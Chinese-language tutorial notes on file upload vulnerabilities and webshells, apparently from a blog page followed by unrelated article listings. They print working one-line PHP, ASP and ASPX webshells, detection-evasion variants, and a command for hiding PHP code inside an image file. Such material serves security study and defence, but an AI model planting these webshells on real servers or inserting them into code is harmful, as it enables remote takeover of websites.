9.文件上传漏洞基础

简介: 文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

webshell介绍
Webshell就是以asp、php、jsp等网页文件形式存在的一种代码/命令执行环境,也可以称为主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一
种网页后门个代码文件,通过网址访问,便可进行很多日常操作,极犬地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,达到控制网站服务器的目的。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器的WEB目录下的正常网页文件混在一起,然后就可以使用浏览器来访asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

webshee的优点:
Webshel最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用Webshell一般不会在系统日志中留下记录,只会在网站的Web日志(apache的access.log),中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
一句话木马

● 一句话木木马
代码段 一行代码 使用场景多 可以单独生成 安全性高 隐秘性强 可以变形免杀

image.png

<?php eval($_POST['rany']);?>

asp一句话木马
<%execute (request("value"))%>
php一句话木马

<?php @eval($_POST[ 'value' ]);?>
注意:@隐藏报错信息
aspx一句话木马
<%@ Page Languaget="Jscript"%> <%eval(Request.Item["value"])%>

木马变形
1.函数替换
·php中除了eval,还有其他函数也可以执行代码,比如assert函数 ·命令执行函数system、passthru、exec、shell exec等
<?php assert($_POST[ 'value' ]);?>

2.双变量绕过
<?php $_POST['a']($_POST['b'])?>
提交:a=assert&b=phpinfo()

3.字符串变形绕过

4.定义函数绕过
5.回调函数绕过
6.类绕过
7.编码绕过
8.特殊字符干扰绕过
9.无字符特征码绕过

● 图片马

🔲 CMD制作
copy 1.jpg/b + 2.php/a 3.jpg
注意:b表示二进制 a表示asscii文件 3.jpg即为图片马

🔲 图片属性——>信息信息 ——>版权

image.png

结合文件包含 上传webshell

🔲 工具制作图片马 —— C32
010 edi

● 大马
体积大 功能全 会调用关键函数 以代码加密的形式进行隐藏

管理工具使用
蚁剑

冰蝎

哥斯拉

中国菜刀

相关文章
|
开发框架 安全 .NET
常见ASPX木马报错原因及解决方案
常见ASPX木马报错原因及解决方案
1231 0
|
5月前
|
移动开发 数据可视化 开发工具
2025年最适合初学者的HTML5开发工具盘点:高效+可视化+零配置
李晴阳团队盘点2025年最接地气的HTML5开发工具:LynxAI、CodeViz、DevFlow、PageCraft,各具特色。零基础选LynxAI,学代码用DevFlow,做移动端首选PageCraft,兼顾灵活与简单可选CodeViz。工具虽好,仍需踏实学习,建议明确目标后试用免费版再决定。
|
9月前
|
存储 搜索推荐 算法
Java 大视界 -- Java 大数据在智慧文旅旅游线路规划与游客流量均衡调控中的应用实践(196)
本实践案例深入探讨了Java大数据技术在智慧文旅中的创新应用,聚焦旅游线路规划与游客流量调控难题。通过整合多源数据、构建用户画像、开发个性化推荐算法及流量预测模型,实现了旅游线路的精准推荐与流量的科学调控。在某旅游城市的落地实践中,游客满意度显著提升,景区流量分布更加均衡,充分展现了Java大数据技术在推动文旅产业智能化升级中的核心价值与广阔前景。
|
9月前
|
传感器 数据采集 人工智能
AR眼镜与AI视觉大模型,开启AR工业巡检与维护全新体验
AR眼镜与AI视觉大模型深度融合,革新工业设备巡检方式。实时采集数据、智能分析预警,提升巡检效率与准确性,保障工业生产安全高效运行。
AR眼镜与AI视觉大模型,开启AR工业巡检与维护全新体验
|
前端开发 Unix Linux
揭秘 Electron 的 Linux 打包过程:你知道背后发生了什么吗?
本文详细介绍了 `electron-builder` 在 Linux 平台上如何打包 Electron 应用程序,涵盖了 AppImage、Flatpak、Snap 等多种格式的打包原理和具体实现。文章从初始化 `LinuxPackager` 到创建各种目标格式的包,详细解析了每个步骤的代码逻辑和关键方法,帮助开发者更好地理解和使用 `electron-builder` 进行 Linux 应用的打包。
961 2
揭秘 Electron 的 Linux 打包过程:你知道背后发生了什么吗?
|
存储 Linux Go
u-boot引导加载程序的命令列表
U-Boot提供的命令集覆盖了从硬件初始化、文件操作、网络配置到系统启动的各个方面,为嵌入式系统开发和维护提供了强大的支持。熟悉并熟练运用这些命令,可以帮助开发者高效地完成系统引导和调试任务。在实际操作中,可以根据具体硬件平台和需求,查阅U-Boot的官方文档或社区资源,以获取更详尽的命令使用方法和示例。
499 1
|
安全 Shell Linux
如何禁止某个用户使用ssh登录
本文介绍了五种禁止用户通过SSH登录的方法:1) 修改`/etc/ssh/sshd_config`文件中的`DenyUsers`和`DenyGroups`来阻止特定用户或用户组登录;2) 将用户的默认shell设置为`/usr/sbin/nologin`或`/bin/false`以禁用其SSH访问;3) 利用PAM(可插入认证模块)通过编辑`/etc/security/sshd.conf`来限制登录权限;4) 通过编辑`/etc/hosts.deny`文件拒绝特定用户的SSH访问;5) 锁定或禁用用户账号以阻止所有类型的登录。每种方法都提供了详细的步骤指导。
2589 1
|
C++
C++11日志之spdlog
C++11日志之spdlog
456 1
|
监控 安全 测试技术
东郊到家服务系统开发模式案例(源码系统)
东郊到家服务系统开发是一个复杂而重要的项目
|
Linux Shell Python
vscode运行Python的两种方法,及无法运行的原因
下面介绍的vscode运行Python代码的方法基于的一个前提条件是:当前的计算机已经安装好了Python,且已经配置好了相关的环境变量。如果要查看是否已经都安装好了,可以打开Windows系统的命令行工具Windows PowerShell,如果是Mac系统或Linux系统,则可以打开终端,然后键入命令:python,如果
1282 3